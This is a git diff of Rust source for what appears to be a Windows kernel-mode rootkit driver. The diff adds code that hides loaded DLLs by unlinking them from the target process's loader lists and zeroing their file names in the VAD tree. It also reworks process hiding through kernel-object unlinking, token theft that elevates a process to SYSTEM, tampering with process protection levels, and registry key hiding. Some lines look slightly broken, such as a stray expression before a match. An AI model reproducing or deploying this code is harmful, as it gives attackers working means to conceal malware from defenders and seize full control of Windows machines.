pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Enumerate Modules
|
||||
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_MODULE");
|
||||
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Hide Modules
|
||||
ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_MODULE");
|
||||
|
||||
let status = unsafe { handle_module!(stack, Module::hide_module, TargetModule) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = 0};
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -1,63 +1,73 @@
|
||||
extern crate alloc;
|
||||
|
||||
use {
|
||||
crate::{includes::{PsGetProcessPeb, MmCopyVirtualMemory}, process::Process},
|
||||
crate::{
|
||||
includes::{
|
||||
structs::MMVAD_SHORT, vad::MMVAD,
|
||||
MmCopyVirtualMemory, PsGetProcessPeb
|
||||
},
|
||||
process::Process, utils::pool::PoolMemory
|
||||
},
|
||||
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||
shared::structs::{ModuleInfo, TargetProcess},
|
||||
shared::structs::{ModuleInfo, TargetProcess, TargetModule},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
ExAllocatePool2, ExFreePool, IoGetCurrentProcess, KeStackAttachProcess,
|
||||
IoGetCurrentProcess, KeStackAttachProcess,
|
||||
KeUnstackDetachProcess,
|
||||
},
|
||||
KAPC_STATE, NTSTATUS, STATUS_INVALID_PARAMETER,
|
||||
STATUS_SUCCESS, STATUS_UNSUCCESSFUL, _MODE::KernelMode, POOL_FLAG_NON_PAGED
|
||||
FILE_OBJECT, KAPC_STATE, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
|
||||
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
||||
_MODE::KernelMode
|
||||
},
|
||||
winapi::shared::ntdef::LIST_ENTRY
|
||||
};
|
||||
|
||||
pub mod ioctls;
|
||||
pub mod vad;
|
||||
|
||||
/// Represents a module in the operating system.
|
||||
pub struct Module;
|
||||
|
||||
impl Module {
|
||||
|
||||
/// VAD Type for an image map.
|
||||
const VAD_IMAGE_MAP: u32 = 2;
|
||||
|
||||
/// Enumerates modules in a given target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `process`: A pointer to the target process (`*mut TargetProcess`) to enumerate modules from.
|
||||
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the modules.
|
||||
/// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
|
||||
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
|
||||
/// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
||||
///
|
||||
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> NTSTATUS {
|
||||
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> {
|
||||
log::info!("Starting module enumeration");
|
||||
|
||||
let pid = (*process).pid;
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
|
||||
let temp_info = ExAllocatePool2(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd")) as *mut ModuleInfo;
|
||||
|
||||
if temp_info.is_null() {
|
||||
log::error!("ExAllocatePool2 Failed to Allocate Memory");
|
||||
return STATUS_UNSUCCESSFUL
|
||||
}
|
||||
|
||||
let target = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
// Allocates memory for temporarily storing module information
|
||||
let temp_info = PoolMemory::new(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd"))
|
||||
.map(|mem| mem.ptr as *mut ModuleInfo)
|
||||
.ok_or_else(|| {
|
||||
log::error!("PoolMemory (Module) Failed");
|
||||
STATUS_UNSUCCESSFUL
|
||||
})?;
|
||||
|
||||
// Attaches the target process to the current context
|
||||
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
|
||||
// Gets the PEB (Process Environment Block) of the target process
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
ExFreePool(temp_info as _);
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
return Err(STATUS_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
// Enumerates the loaded modules from the InLoadOrderModuleList
|
||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||
let mut count = 0;
|
||||
@@ -66,37 +76,28 @@ impl Module {
|
||||
if next.is_null() {
|
||||
log::error!("Next LIST_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
ExFreePool(temp_info as _);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
ExFreePool(temp_info as _);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*list_entry).FullDllName.Buffer,
|
||||
((*list_entry).FullDllName.Length / 2) as usize,
|
||||
);
|
||||
// Retrieves the full module name
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||
if buffer.is_empty() {
|
||||
log::error!("Buffer for module name is empty");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
ExFreePool(temp_info as _);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
// Module name
|
||||
// Populates the `ModuleInfo` structure with name, address, and index
|
||||
let name = &mut (*temp_info.offset(count)).name.as_mut();
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*temp_info.offset(count)).address = (*list_entry).DllBase as usize;
|
||||
|
||||
// Module index
|
||||
(*temp_info.offset(count)).index = count as u8;
|
||||
|
||||
count += 1;
|
||||
@@ -104,8 +105,10 @@ impl Module {
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
// Detaches the target process
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
// Copies module information to the caller's space
|
||||
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||
let mut return_size = 0;
|
||||
MmCopyVirtualMemory(
|
||||
@@ -118,10 +121,160 @@ impl Module {
|
||||
&mut return_size,
|
||||
);
|
||||
|
||||
ExFreePool(temp_info as _);
|
||||
|
||||
*information = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Hides a module in a target process by removing its entries from the module list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status.
|
||||
///
|
||||
pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> {
|
||||
let pid = (*target).pid;
|
||||
let module_name = &(*target).module_name.to_lowercase();
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||
let mut address = core::ptr::null_mut();
|
||||
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
log::error!("Next LIST_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||
if buffer.is_empty() {
|
||||
log::error!("Buffer for module name is empty");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(&buffer);
|
||||
if module_name.contains(&dll_name.to_lowercase()) {
|
||||
// Removes the module from the load order list
|
||||
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
||||
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
|
||||
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
|
||||
Self::remove_link(&mut (*list_entry).HashLinks);
|
||||
address = (*list_entry).DllBase;
|
||||
break;
|
||||
}
|
||||
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
// Detaches the target process
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
if !address.is_null() {
|
||||
Self::hide_vad(address as u64, target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Hides a VAD (Virtual Address Descriptor) in the target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `target_address`: The address of the module to hide.
|
||||
/// - `target_eprocess`: The target process structure.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
|
||||
///
|
||||
pub unsafe fn hide_vad(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
|
||||
let vad_root = 0x7d8;
|
||||
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root) as *mut RTL_BALANCED_NODE;
|
||||
let current_node = vad_table;
|
||||
|
||||
// Uses a stack to iteratively traverse the tree
|
||||
let mut stack = alloc::vec![vad_table];
|
||||
|
||||
while let Some(current_node) = stack.pop() {
|
||||
if current_node.is_null() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Converts the current node to an MMVAD_SHORT
|
||||
let vad_short = current_node as *mut MMVAD_SHORT;
|
||||
|
||||
// Calculates start and end addresses
|
||||
let mut start_address = (*vad_short).starting_vpn as u64;
|
||||
let mut end_address = (*vad_short).ending_vpn as u64;
|
||||
|
||||
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
|
||||
start_address |= ((*vad_short).starting_vpn_high as u64) << 32;
|
||||
end_address |= ((*vad_short).ending_vpn_high as u64) << 32;
|
||||
|
||||
// Multiply the addresses by 0x1000 (page size) to get the real addresses
|
||||
let start_address = start_address * 0x1000;
|
||||
let end_address = end_address * 0x1000;
|
||||
|
||||
if (*vad_short).u.vad_flags.vad_type() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
|
||||
let long_node = vad_short as *mut MMVAD;
|
||||
|
||||
let subsection = (*long_node).subsection;
|
||||
if subsection.is_null() || (*subsection).control_area.is_null() || (*(*subsection).control_area).file_pointer.inner.object.is_null() {
|
||||
return Err(STATUS_INVALID_ADDRESS);
|
||||
}
|
||||
|
||||
let file_object = ((*(*subsection).control_area).file_pointer.inner.value & !0xF) as *const FILE_OBJECT;
|
||||
let file_name = core::slice::from_raw_parts((*file_object).FileName.Buffer, ((*file_object).FileName.Length / 2) as usize);
|
||||
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
|
||||
break;
|
||||
}
|
||||
|
||||
// Stack the right node (if there is one)
|
||||
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
|
||||
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right);
|
||||
}
|
||||
|
||||
// Stack the left node (if there is one)
|
||||
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
|
||||
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes a link from the list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink.
|
||||
///
|
||||
unsafe fn remove_link(list: &mut LIST_ENTRY) {
|
||||
let next = list.Flink;
|
||||
let previous = list.Blink;
|
||||
|
||||
(*next).Blink = previous;
|
||||
(*previous).Flink = next;
|
||||
|
||||
list.Flink = list;
|
||||
list.Blink = list;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#![cfg(not(feature = "mapper"))]
|
||||
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
core::ffi::c_void,
|
||||
spin::{Mutex, lazy::Lazy},
|
||||
alloc::vec::Vec,
|
||||
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
|
||||
winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
|
||||
wdk_sys::{
|
||||
ntddk::PsGetProcessId, PVOID,
|
||||
ntddk::PsGetProcessId,
|
||||
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
|
||||
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
|
||||
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
||||
@@ -16,7 +16,7 @@ use {
|
||||
};
|
||||
|
||||
/// Handle for the process callback registration.
|
||||
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: PVOID = core::ptr::null_mut();
|
||||
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut();
|
||||
|
||||
/// List of target PIDs protected by a mutex.
|
||||
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));
|
||||
|
||||
@@ -5,10 +5,11 @@ use {
|
||||
shared::{
|
||||
ioctls::*,
|
||||
structs::{
|
||||
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess
|
||||
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
|
||||
ProcessSignature, TargetProcess
|
||||
}
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||
crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
@@ -23,9 +24,15 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Elevates the specified process to system privileges.
|
||||
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ELEVATE_PROCESS");
|
||||
|
||||
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Hide / Unhide the specified process.
|
||||
@@ -39,17 +46,26 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
// Terminate process.
|
||||
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_TERMINATE_PROCESS");
|
||||
|
||||
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
|
||||
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Modifying the PP / PPL of a process.
|
||||
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_SIGNATURE_PROCESS");
|
||||
|
||||
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
|
||||
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
|
||||
status
|
||||
|
||||
match status {
|
||||
Ok(_) => STATUS_SUCCESS,
|
||||
Err(err_code) => err_code
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Lists the processes currently hidden and protect.
|
||||
|
||||
@@ -41,6 +41,7 @@ impl Process {
|
||||
/// # Returns
|
||||
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
||||
///
|
||||
#[inline]
|
||||
pub fn new(pid: usize) -> Option<Self> {
|
||||
let mut process = core::ptr::null_mut();
|
||||
|
||||
@@ -63,13 +64,11 @@ impl Process {
|
||||
///
|
||||
pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS {
|
||||
let pid = (*process).pid;
|
||||
let status = if (*process).enable {
|
||||
Self::hide_process(pid)
|
||||
if (*process).enable {
|
||||
Self::hide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code)
|
||||
} else {
|
||||
Self::unhide_process(pid)
|
||||
};
|
||||
|
||||
status
|
||||
Self::unhide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code)
|
||||
}
|
||||
}
|
||||
|
||||
/// Hide a process by removing it from the list of active processes.
|
||||
@@ -80,17 +79,14 @@ impl Process {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
unsafe fn hide_process(pid: usize) -> NTSTATUS {
|
||||
unsafe fn hide_process(pid: usize) -> Result<(), NTSTATUS> {
|
||||
// Offsets
|
||||
let unique_process_id = get_offset_unique_process_id();
|
||||
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
||||
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
||||
|
||||
// Retrieving EPROCESS from the target process
|
||||
let process = match Self::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
||||
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64;
|
||||
@@ -106,7 +102,6 @@ impl Process {
|
||||
|
||||
let mut process_info = PROCESS_INFO_HIDE.lock();
|
||||
let list_ptr = Box::into_raw(Box::new(list));
|
||||
log::info!("Stored list entry at: {:?}", list_ptr);
|
||||
|
||||
process_info.push(HiddenProcessInfo {
|
||||
pid,
|
||||
@@ -123,7 +118,7 @@ impl Process {
|
||||
|
||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Unhide a process by removing it from the list of active processes.
|
||||
@@ -134,17 +129,14 @@ impl Process {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
unsafe fn unhide_process(pid: usize) -> NTSTATUS {
|
||||
unsafe fn unhide_process(pid: usize) -> Result<(), NTSTATUS> {
|
||||
// Offsets
|
||||
let unique_process_id = get_offset_unique_process_id();
|
||||
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
||||
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
||||
|
||||
// Retrieving EPROCESS from the target process
|
||||
let process = match Self::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
||||
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR;
|
||||
@@ -158,7 +150,7 @@ impl Process {
|
||||
let list = process.list_entry.load(Ordering::SeqCst);
|
||||
if list.is_null() {
|
||||
log::error!("List entry stored in AtomicPtr is null");
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
return Err(STATUS_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
(*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
|
||||
@@ -174,13 +166,13 @@ impl Process {
|
||||
} else {
|
||||
log::info!("PID ({pid}) Not found");
|
||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
log::info!("Process with PID {pid} unhidden successfully.");
|
||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
|
||||
@@ -285,7 +277,7 @@ impl Process {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> NTSTATUS {
|
||||
pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> Result<(), NTSTATUS> {
|
||||
let pid = (*signature_info).pid;
|
||||
let sg = (*signature_info).sg;
|
||||
let tp = (*signature_info).tp;
|
||||
@@ -294,10 +286,7 @@ impl Process {
|
||||
let protection_offset = get_offset_signature();
|
||||
|
||||
// Retrieving EPROCESS from the target process
|
||||
let process = match Self::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
let new_sign = (sg << 4) | tp;
|
||||
let process_signature = process.e_process.cast::<u8>().offset(protection_offset) as *mut PROCESS_SIGNATURE;
|
||||
@@ -306,7 +295,7 @@ impl Process {
|
||||
(*process_signature).protection.set_type_(tp as u8);
|
||||
(*process_signature).protection.set_signer(sg as u8);
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Raises the token of the specified process to the system token.
|
||||
@@ -321,7 +310,7 @@ impl Process {
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn elevate_process(process: *mut TargetProcess) -> NTSTATUS {
|
||||
pub unsafe fn elevate_process(process: *mut TargetProcess) -> Result<(), NTSTATUS> {
|
||||
let pid = (*process).pid;
|
||||
let system_process = 4;
|
||||
|
||||
@@ -329,16 +318,10 @@ impl Process {
|
||||
let token = get_offset_token();
|
||||
|
||||
// Retrieving EPROCESS from the target process
|
||||
let target = match Self::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let target = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
// Retrieving EPROCESS from the System process (By default the PID is 4)
|
||||
let system = match Self::new(system_process) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let system = Self::new(system_process).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
|
||||
// Accessing EPROCESS.Token
|
||||
let target_token_ptr = target.e_process.cast::<u8>().offset(token) as *mut u64;
|
||||
@@ -349,7 +332,7 @@ impl Process {
|
||||
|
||||
log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}");
|
||||
|
||||
STATUS_SUCCESS
|
||||
Ok(())
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -2,20 +2,24 @@
|
||||
|
||||
use {
|
||||
super::{
|
||||
utils::{check_key_value, enumerate_value_key, RegistryInfo}, HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
|
||||
utils::{check_key_value, enumerate_value_key, RegistryInfo},
|
||||
HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
|
||||
},
|
||||
crate::{
|
||||
registry::{utils::{check_key, enumerate_key}, Registry},
|
||||
utils::valid_kernel_memory
|
||||
utils::{pool::PoolMemory, valid_kernel_memory}
|
||||
},
|
||||
alloc::{format, string::String},
|
||||
core::{ffi::c_void, ptr::null_mut},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
|
||||
ExAllocatePool2, ExFreePool, ObOpenObjectByPointer, ZwClose
|
||||
}, _MODE::KernelMode, _REG_NOTIFY_CLASS::{
|
||||
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
|
||||
ObOpenObjectByPointer, ZwClose
|
||||
},
|
||||
_MODE::KernelMode,
|
||||
_REG_NOTIFY_CLASS::{
|
||||
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey,
|
||||
RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
|
||||
}, *
|
||||
},
|
||||
};
|
||||
@@ -137,11 +141,14 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8;
|
||||
if buffer.is_null() {
|
||||
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||
Some(mem) => mem.ptr as *mut u8,
|
||||
None => {
|
||||
log::error!("PoolMemory (Enumerate Key) Failed");
|
||||
ZwClose(key_handle);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
};
|
||||
|
||||
let mut result_length = 0;
|
||||
let mut counter = 0;
|
||||
@@ -162,7 +169,6 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
||||
}
|
||||
|
||||
ZwClose(key_handle);
|
||||
ExFreePool(buffer as _);
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
@@ -209,11 +215,14 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8;
|
||||
if buffer.is_null() {
|
||||
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||
Some(mem) => mem.ptr as *mut u8,
|
||||
None => {
|
||||
log::error!("PoolMemory (Enumerate Key) Failed");
|
||||
ZwClose(key_handle);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
};
|
||||
|
||||
let mut result_length = 0;
|
||||
let mut counter = 0;
|
||||
@@ -236,7 +245,6 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
||||
}
|
||||
|
||||
ZwClose(key_handle);
|
||||
ExFreePool(buffer as _);
|
||||
STATUS_SUCCESS
|
||||
}
